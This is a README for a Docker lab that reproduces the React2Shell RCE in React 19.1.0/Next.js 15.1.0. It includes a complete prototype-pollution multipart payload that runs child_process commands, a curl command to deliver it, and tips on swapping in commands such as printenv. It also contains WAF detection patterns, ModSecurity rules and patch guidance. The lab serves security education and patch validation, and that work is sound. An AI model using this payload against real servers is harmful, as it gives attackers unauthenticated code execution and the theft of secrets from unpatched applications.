Docker-based test lab for CVE-2025-55182 (React2Shell) RCE vulnerability in React 19.1.0/Next.js 15.1.0. Includes exploit scripts, WAF bypass testing with NGINX/ModSecurity, and patched version comparison for security education.
⚠️ Warning: Contains a working remote code execution (RCE) vulnerability.
Container test environment for the CVE-2025-55182 (React2Shell) vulnerability.
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
CVSS Score: 10.0 (CRITICAL)
Impact: Remote Code Execution (RCE)
Authentication Required: None
Attack Vector: Network
$1:__proto__:then$B prefix)child_process// Attack payload structure
{
"then": "$1:__proto__:then", // Contaminate Object.prototype.then
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Trigger Blob deserialization
"_response": {
"_prefix": "malicious_code", // Code to execute
"_formData": {
"get": "$1:constructor:constructor" // Access Function constructor
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
Wait until all containers are healthy (approximately 1-2 minutes).
Windows (PowerShell):
# Method 1: Use PowerShell script (recommended)
.\tests\exploit-working.ps1
# Method 2: Run Node.js directly
node tests\exploit-working.js
Check command execution results in server logs:
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ RecommendedWindows:
# PowerShell script (recommended)
.\tests\exploit-working.ps1
# Or run Node.js directly
node tests\exploit-working.js
Execution Details:
Commands Tested:
whoami - Current user (root)hostname - Container hostnamepwd - Working directory (/app)id - Full user informationuname -a - System informationnode --version - Node.js version# Create payload file
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# Send attack
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# Check log execution
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
Modify the attack script to execute desired commands:
// In exploit-working.js:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: 'Application directory listing' },
{ name: 'env', cmd: 'printenv', desc: 'Print environment variables' }
]
| Port | Service | React Version | Purpose | WAF Status |
|---|---|---|---|---|
| 3000 | vulnerable-app | 19.1.0 | Vulnerable - CVE-2025-55182 test | ❌ No protection |
| 3001 | patched-app | 19.1.2 | Safe - Patch validation | ✅ Patched |
| 8080 | nginx → vulnerable | 19.1.0 | WAF test (NGINX) | ⚠️ Limited (no body inspection) |
| 8081 | apache → vulnerable | 19.1.0 | WAF test (ModSecurity) | ⚠️ Limited (405 response) |
| 8082 | nginx → patched | 19.1.2 | Dual protection test | ✅ Patched |
# Run working exploit
node tests/exploit-working.js
# Expected result: Command execution successful
# Output: User information, system details, etc.
Windows (PowerShell):
# Use PowerShell script
.\tests\exploit-working.ps1 -Port 3001
Expected result: Attack fails (React 19.1.2 blocks the attack)
Windows (PowerShell):
# Attempt attack through NGINX WAF
.\tests\exploit-working.ps1 -Port 8080
Expected result: Blocked by WAF rules
Location: nginx/nginx.conf
Detection Patterns:
__proto__, constructor:constructor$X:__proto__, $B referenceschild_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructorBlocking Action:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
Location: apache/modsecurity-rules.conf
Rule ID Range: 100001-100017
Key Rules:
__proto__# NGINX block test
curl -X POST http://localhost:8080/ \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# Expected response: HTTP 403
# ModSecurity block test
curl -X POST http://localhost:8081/ \
-H "Next-Action: test#constructor" \
-d '{"data": "test"}'
# Expected response: HTTP 403
# NGINX security log
docker compose exec nginx tail -f /var/log/nginx/security.log
# Apache ModSecurity audit log
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
Important: The current WAF configuration has the following limitations:
multipart/form-data body, so it is not detectedNext-Action header is required, and this header alone does not provide sufficient protectionActual Attack Defense:
cve-2025-55182-test-lab-windows/
├── README.md # README
├── docker-compose.yml # Docker environment configuration
├── run-tests.ps1 # Windows execution script
├── run-tests.sh # Linux/Mac execution script
│
├── vulnerable-app/ # Vulnerable version application
│ ├── Dockerfile
│ ├── package.json # React 19.1.0, Next.js 15.1.0
│ ├── next.config.js
│ ├── app/
│ │ ├── layout.js # Basic layout
│ │ ├── page.js # Main page
│ │ └── api/
│ │ └── health/ # Health check endpoint
│ │ └── route.js
│ └── tests/
│
├── patched-app/ # Patched version application
│ ├── Dockerfile
│ ├── package.json # React 19.1.2, Next.js 15.1.9
│ ├── next.config.js
│ └── app/
│ ├── layout.js
│ ├── page.js
│ └── api/
│ └── health/
│ └── route.js
│
├── tests/ # Attack scripts
│ ├── exploit-working.js # RCE attack (Node.js)
│ ├── exploit-working.ps1 # RCE attack (PowerShell)
│ └── exploit-working.cmd # RCE attack (batch file)
│
├── nginx/ # NGINX WAF configuration
│ ├── nginx.conf # CVE-2025-55182 blocking rules
│ └── nginx-patched.conf # Proxy configuration
│
└── apache/ # Apache ModSecurity configuration
├── Dockerfile
├── apache-config.conf
└── modsecurity-rules.conf # ModSecurity blocking rules
The attack script displays results directly:
[whoami] Sending exploit...
✅ SUCCESS! Output: root
# Real-time log monitoring
docker compose logs -f vulnerable-app
# What to check:
# [EXPLOIT] Executing: whoami
# [RESULT] root
# Verify if attack was executed
docker compose exec vulnerable-app ps aux | grep node
# Check file system changes (if files were written)
docker compose exec vulnerable-app ls -la /tmp
Upgrade React - Install 19.1.2 or later:
npm install react@^19.1.2 react-dom@^19.1.2
Upgrade Next.js - Install 15.1.9 or later:
npm install next@^15.1.9
Rebuild and Redeploy:
npm run build
# Deploy to production environment
Windows (PowerShell):
# Test with patched version
.\tests\exploit-working.ps1 -Port 3001
# Or
$env:TARGET_PORT=3001; node tests\exploit-working.js
Linux/Mac:
# Test with patched version
TARGET_PORT=3001 node tests/exploit-working.js
Example output: ℹ️ Exploitation failed
# Start
.\run-tests.ps1 start
# Check status
.\run-tests.ps1 status
# View logs
.\run-tests.ps1 logs
# Stop
.\run-tests.ps1 stop
# Clean (delete all containers and volumes)
.\run-tests.ps1 clean
Windows (PowerShell):
# 1. Check version
docker compose exec vulnerable-app npm list react next
# Should display:
# [email protected]
# [email protected]
# 2. Verify server responds
curl http://localhost:3000
# 3. Check Docker logs
docker compose logs vulnerable-app --tail=50
# 4. Restart container
docker compose restart vulnerable-app
Windows (PowerShell):
# Filter logs in PowerShell
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"
Error symptoms:
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...
Solution:
docker psError symptoms:
Cannot run scripts on this system...
Solution:
# Apply to current session only
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# Or run directly
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1
Verify Docker is running and has permissions:
All platforms:
docker compose ps
If another application is using the port:
Windows (PowerShell):
# Check processes using port
netstat -ano | findstr :3000
# Terminate process (after verifying PID)
taskkill /PID <PID> /F
All platforms (modify docker-compose.yml):
# Change ports to avoid conflict
services:
vulnerable-app:
ports:
- "3010:3000" # Change 3000 to 3010
All platforms:
# Test NGINX configuration
docker compose exec nginx nginx -t
# Test Apache configuration
docker compose exec apache apachectl configtest
# Check logs
docker compose logs nginx --tail=30
docker compose logs apache --tail=30
This project is provided for educational and security research purposes.
Usage Restrictions: